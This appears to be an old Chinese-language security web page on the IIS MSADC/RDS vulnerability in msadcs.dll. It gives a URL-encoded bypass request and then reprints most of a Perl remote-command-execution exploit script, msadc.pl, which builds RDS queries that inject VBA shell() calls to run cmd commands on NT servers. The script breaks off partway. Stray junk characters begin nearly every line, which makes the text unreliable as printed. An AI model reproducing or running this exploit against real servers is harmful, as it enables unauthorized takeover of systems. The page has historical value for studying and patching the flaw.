IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
s"=6{EVqk3 E< 4l#Z< 涉及程序:
tg4Y i|5 Microsoft NT server
zWw2V}U! w)E@*h<Z 描述:
VS#wl|b8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QYXx:nIrg I~PDaZP 详细:
B}OY/J/*8 如果你没有时间读详细内容的话,就删除:
Gx?+9CV c:\Program Files\Common Files\System\Msadc\msadcs.dll
DPe]daF 有关的安全问题就没有了。
^x*nq3^h\ 6
y"-I!& 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nU+tM~C%a g}&hl"j 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k.h`Cji@ 关于利用ODBC远程漏洞的描述,请参看:
W-RqN!snJ8 8pLBt: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IWVlrGyM I3u{zHVwI 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M|T4~Q U& http://www.microsoft.com/security/bulletins/MS99-025faq.asp "_L?2ta ci,+Bjc 这里不再论述。
fkfZ>D^1 q<e&0u4
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Vi!Q Xog/O i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jsg
I' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;S$Ll*f>D 5yh/0i5 | JnD{J`: #将下面这段保存为txt文件,然后: "perl -x 文件名"
&a> lWE Y izE5[* #!perl
>Sk[vI0Y #
#)+- lPe # MSADC/RDS 'usage' (aka exploit) script
I^*'.z!4Q #
1`f_P$&Z_J # by rain.forest.puppy
@
\.;b9 #
"SWMk! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!2Dy_U= # beta test and find errors!
|ifHSc.j< sfp,Lq` use Socket; use Getopt::Std;
9z
m|Lbj getopts("e:vd:h:XR", \%args);
m(D]qYwh X{Yw+F,j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>QQ(m\a$ KYJ1}5n if (!defined $args{h} && !defined $args{R}) {
x9>\(-uU print qq~
'6Qy /R Usage: msadc.pl -h <host> { -d <delay> -X -v }
qg z*'_S -h <host> = host you want to scan (ip or domain)
NCeaL-y7 -d <seconds> = delay between calls, default 1 second
{!ZyCi19 -X = dump Index Server path table, if available
X CB?ll*^ -v = verbose
r'/;O -e = external dictionary file for step 5
OL59e%X ofc.zwH Or a -R will resume a command session
,reJ(s =<f-ob8, ~; exit;}
j dut4 nFc `Y?t@dd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
hVoNw6fE if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
$KV&\Q3\0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<x%M3BTx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Dkw%`(Oh/, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O[~x_xeW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
S{F-ttS" 4Tzd; P6_ if (!defined $args{R}){ $ret = &has_msadc;
uE_c4Hp die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
xc
1A$EY +,'T=Ic{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
zbw7U'jk . "cmd /c ";
! U0z" $in=<STDIN>; chomp $in;
qcB){p+UQ $command="cmd /c " . $in ;
,a|@d}U A Ayv if (defined $args{R}) {&load; exit;}
<T,A&`/ `ue[q!Qq print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~d>%,?zz &try_btcustmr;
_fTwmnA ";3*?/uM print "\nStep 2: Trying to make our own DSN...";
'3tw<k!1{. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
H!r &aP ;uI~BV*3 print "\nStep 3: Trying known DSNs...";
$Ptk|qFe &known_dsn;
W+>wu%[L BW[5o3
i print "\nStep 4: Trying known .mdbs...";
,#u\l>&$ &known_mdb;
UmP'L! %`\]Y']R if (defined $args{e}){
A3UQJ print "\nStep 5: Trying dictionary of DSN names...";
l8wF0| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S ~|.&0"\ QlzQ]:dWC print "Sorry Charley...maybe next time?\n";
YdOUv|tZC exit;
P#tvm, tHI*, ##############################################################################
"DckwtG:% 1bRL"{m^)- sub sendraw { # ripped and modded from whisker
&4kM8Qh sleep($delay); # it's a DoS on the server! At least on mine...
R2^iSl%pj my ($pstr)=@_;
k/`i6%F#m socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<MZi<Z` die("Socket problems\n");
'U)8rR if(connect(S,pack "SnA4x8",2,80,$target)){
:m`/Q_y" select(S); $|=1;
gue(C(~.k_ print $pstr; my @in=<S>;
1L[S*X select(STDOUT); close(S);
MW@ DXbKVl return @in;
)!-S|s' } else { die("Can't connect...\n"); }}
~775soN J?jeYW ##############################################################################
:R+],m il \C/z%Hf7- sub make_header { # make the HTTP request
g_ M-F my $msadc=<<EOT
a!t
V6H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*T4ge|zUc User-Agent: ACTIVEDATA
5u,sx664 Host: $ip
R;THA! Content-Length: $clen
JSjYC0e Connection: Keep-Alive
q|{tQJfYg S}gD,7@ ADCClientVersion:01.06
3?ba
1F0Nw Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
G[6=u|(M tA qs2 --!ADM!ROX!YOUR!WORLD!
< l[`"0 Content-Type: application/x-varg
V\zsDP Content-Length: $reqlen
`^%GN8d}nm "6V_/u5M;= EOT
lG]GlgSs ; $msadc=~s/\n/\r\n/g;
WEC-<fN|Y\ return $msadc;}
|h,FUj<r oQvFrSz ##############################################################################
A?Sm-#n{ faVS2TN4 sub make_req { # make the RDS request
s^PmnFR my ($switch, $p1, $p2)=@_;
Y'_ D<Mp my $req=""; my $t1, $t2, $query, $dsn;
g{a d0.y, {Gkn_h-^ if ($switch==1){ # this is the btcustmr.mdb query
&7F&}7*c $query="Select * from Customers where City=" . make_shell();
\X opU" $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
z(UX't (q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Gg+YfY_ n\~yX<;X3 elsif ($switch==2){ # this is general make table query
m|dF30~A $query="create table AZZ (B int, C varchar(10))";
rk|a'& $dsn="$p1";}
CjZ6NAHc '#f?#( elsif ($switch==3){ # this is general exploit table query
~~dfpW _" $query="select * from AZZ where C=" . make_shell();
IMR$x(g=
F $dsn="$p1";}
nO
[QcOf nDn{zea7 elsif ($switch==4){ # attempt to hork file info from index server
KgU[ $query="select path from scope()";
YPQCOG $dsn="Provider=MSIDXS;";}
~%G Ssm\J *]9XDc]{j1 elsif ($switch==5){ # bad query
WFdem/\kX $query="select";
Prt#L8 $dsn="$p1";}
ST4(|K Vx(;|/: $t1= make_unicode($query);
!L$oAqW $t2= make_unicode($dsn);
=0Y'f](2eW $req = "\x02\x00\x03\x00";
*<3iEeO/R $req.= "\x08\x00" . pack ("S1", length($t1));
nP)-Y#`~7 $req.= "\x00\x00" . $t1 ;
QQ|9>QP $req.= "\x08\x00" . pack ("S1", length($t2));
;S=e%:zb $req.= "\x00\x00" . $t2 ;
A'v[SUW'm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_Fvsi3d/ return $req;}
XAlD
ww EM~7#Y ##############################################################################
B2"+Hwbk )XZ,bz*jn sub make_shell { # this makes the shell() statement
iy9VruT<